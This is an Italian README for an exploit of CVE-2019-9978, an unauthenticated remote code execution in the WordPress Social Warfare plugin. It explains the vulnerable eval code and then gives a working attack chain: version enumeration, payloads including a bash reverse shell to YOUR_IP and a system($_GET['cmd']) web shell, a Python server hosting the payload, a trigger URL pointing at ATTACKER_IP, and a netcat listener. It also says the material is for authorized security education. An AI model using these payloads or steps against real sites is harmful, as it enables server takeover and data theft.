
Una guida completa e un exploit per CVE-2019-9978 - Esecuzione remota di codice non autenticata nel plugin WordPress Social Warfare ≤ 3.5.2. Include analisi del codice vulnerabile ed esempi di payload.

⚠️ AVVISO LEGALE: Questo repository è solo per test di sicurezza educativi e autorizzati. Usalo solo su sistemi che possiedi o per i quali hai un esplicito permesso scritto. L'accesso non autorizzato è illegale.
| Proprietà | Valore |
|---|---|
| CVE ID | CVE-2019-9978 |
| Software Affetto | Social Warfare Plugin ≤ 3.5.2 (WordPress) |
| Tipo di Vulnerabilità | Remote Code Execution (RCE) / Remote File Inclusion (RFI) |
| Autenticazione Richiesta | ❌ No – non autenticato |
| Punteggio CVSS | 9.8 (Critico) |
| Corretto In | Versione 3.5.3 |
| Sfruttato in Rete | Sì – marzo 2019 |
Il plugin Social Warfare è un popolare plugin WordPress che aggiunge pulsanti di condivisione social ai siti web. Le versioni dalla 3.5.0 alla 3.5.2 contengono una vulnerabilità RCE critica che consente agli aggressori di eseguire codice PHP arbitrario sul server senza alcuna autenticazione .
Social Warfare è un popolare plugin WordPress che aggiunge pulsanti di condivisione social ai siti web, consentendo ai visitatori di condividere facilmente contenuti su piattaforme come:

if ( true == SWP_Utility::debug( 'load_options' ) ) {
// ⚠️ CRITICAL MISUNDERSTANDING:
// is_admin() only checks if the page is in /wp-admin/
// It does NOT verify authentication or user privileges!
if ( is_admin() ) {
wp_die( 'You do not have authorization to view this page.' );
}
// Step 1: Fetch remote file from user-controlled URL
// No validation, no sanitization, no whitelist!
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
// Step 2: Extract content between <pre> tags
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
// Step 3: Build PHP code string
$array = 'return ' . $options . ';';
// Step 4: 💀 CRITICAL FLAW - User-supplied code is executed!
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
// ... rest of the migration logic
} catch ( ParseError $e ) {
// ... error handling
}
}
is_admin() NON è SicurezzaLa funzione WordPress is_admin() non verifica se un utente ha effettuato l'accesso o possiede privilegi di amministratore. Controlla solo se la pagina richiesta si trova nella directory /wp-admin/ :
function is_admin() {
return defined('WP_ADMIN') && WP_ADMIN;
// Does NOT check authentication!
// Does NOT check user role!
}
L'ironia: Quando accedi a /wp-admin/admin-post.php, WordPress definisce WP_ADMIN = true. Questo fa sì che is_admin() restituisca true anche per richieste non autenticate, il che abilita l'esecuzione del blocco di codice vulnerabile .
$options = file_get_contents( $_GET['swp_url'] . '?swp_debug=get_user_options' );
if ( strpos( $options, '<pre>' ) !== false ) {
$options = str_replace( '<pre>', '', $options );
$cutoff = strpos( $options, '</pre>' );
$options = substr( $options, 0, $cutoff );
}
$array = 'return ' . $options . ';';
try {
$fetched_options = eval( $array ); // <-- Remote Code Execution
}
Il plugin aveva una funzione "debug" nascosta che doveva aiutare gli sviluppatori a caricare file di configurazione da URL esterni. Tuttavia, questa funzione aveva un difetto fatale: scaricava qualsiasi file da un URL fornito dall'utente ed eseguiva qualunque codice trovasse al suo interno — senza chiedere il permesso o verificare che l'utente fosse autorizzato.
L'exploit è semplice:
Un attaccante ospita un file dannoso sul proprio server, dice al plugin di scaricarlo e il plugin esegue ciecamente il codice dell'attaccante sul sito della vittima. Poiché il plugin non richiede di avere effettuato l'accesso per attivare questa funzione, chiunque conosca l'URL può impossessarsi del sito web.
Pensala così: Immagina una guardia di sicurezza che apre qualsiasi porta quando dici "debug mode" — senza verificare se lavori lì o se hai un badge. È esattamente quello che faceva questa vulnerabilità
l'exploit deve essere scritto tra 2 tag <pre></pre>.
Usa WPScan per identificare la versione del plugin Social Warfare :
wpscan --url http://target.com --enumerate vp
se lo hai installato da solo, non dimenticare di attivare il plugin dal pannello di amministrazione.
Crea payload.txt con il payload desiderato e poi avvia un server per servire quel payload.
payload di esempio :
Payload di Test (Verifica RCE):
<pre>phpinfo();</pre>
test out-of-bound:
<pre>@file_get_contents('http://burp collabrator');</pre>
Reverse Shell Linux:
<pre>system("bash -c \"bash -i >& /dev/tcp/YOUR_IP/4444 0>&1\"");</pre>
Esecutore di Comandi Interattivo:
<pre>system($_GET['cmd']);</pre>
Avvia un server HTTP Python per ospitare il tuo payload:
python3 -m http.server 8000
Il tuo payload è ora accessibile all'indirizzo: http://YOUR_IP:8000/payload.txt
se usi localhost:
http://127.0.0.1:8000/payload.txt
dopo aver effettuato la richiesta dal codice vulnerabile dovresti vedere un codice di stato 200 :

Opzione A – Attivazione Manuale:
Visita questo URL nel tuo browser oppure usa curl:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ATTACKER_IP:8000/payload.txt
di nuovo, se usi localhost:
http://wordpress ip or domain/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1:8000/payload.txt
nc -lvnp 4444
Se ha successo, otterrai una shell!
<pre>@file_get_contents('http://burp collabrator');</pre>

<pre>phpinfo();</pre>

Happy Hacking! 🚀